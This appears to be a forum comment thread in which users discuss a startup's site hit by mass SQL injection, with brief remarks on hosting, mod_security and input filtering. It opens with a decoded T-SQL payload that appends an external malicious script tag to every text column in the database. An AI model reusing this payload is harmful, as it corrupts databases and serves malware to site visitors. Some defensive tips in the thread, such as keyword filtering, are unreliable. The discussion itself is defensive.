Decoded:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.suppadw.com/b.js></script>''');''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

shared hosting? get your own box, turn off apache for a while and go through code with a fine tooth comb.

well.. i think the guy barely knows what is apache in the first place.. It just goes on to show how important it is to get a basic grasp of the technicality involved in your app even if you are the non-technical founder/member/whatever.

Just like yesterday there was an entry about some guy's co-founder bailing out and he's left with no skills and no money.... sorry state to be in.

-- PS: I like your blog dude- been a long time reader.

SQL injection attacks have nothing to do with whether they are on a shared box or running in a locked down cage. If they have any hope of fixing this mess, they need to start from advice that helps, not voodoo.

I just meant if they had their own box they would have more control over it.. they said they had to wait for a support guy with perms to do the db restores.

- all web input needs to run thru the same filter - that filter disallows SQL keywords - you're done

If this guy wasn't on a shared host, he could just install mod_security and its default config should take care of it. Presuming Apache of course.

I think ANDrew, TOny, SETh, and BYron might have problems with that filter.

They might if the programmer didn't have the sense to surround the keywords with word boundary markers. You know, something like %20SET%20 etc. I do this successfully with mod_security, and a good regex kit will let you do this easily.